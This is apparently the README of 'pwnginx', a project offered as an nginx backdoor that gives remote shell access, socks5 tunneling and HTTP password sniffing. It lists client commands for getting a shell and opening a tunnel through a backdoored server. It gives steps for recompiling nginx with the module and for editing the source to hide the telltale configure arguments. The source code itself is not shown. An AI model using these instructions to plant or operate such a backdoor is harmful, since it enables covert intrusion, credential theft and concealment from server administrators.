harite / pwnginx

Pwn nginx - a nginx backdoor offering shell access, socks5 tunneling, http password sniff.

#[ Pwnginx ] - Pwn nginx

Copyleft by t57root @ openwill.me

<[email protected]> www.HackShell.net

Usage:

Get a shell access via the nginx running @ [ip]:[port]

./pwnginx shell [ip] [port]

Get a socks5 tunnel listening at [socks5ip]:[socks5port]

./pwnginx socks5 [ip] [port] [socks5ip] [socks5port]

###INSTALL:

• Compile the client:

  cd client;make

• Recompile the nginx:

  cd /path/to/nginx/source; ./configure --prefix=/opt/nginx --add-module=/path/to/pwnginx/module

• Edit source to hidden configure arguments:

  grep 'configure arguments' * -R -n

###TODO:

• Pack communication traffic into HTTP protocol

• http password sniff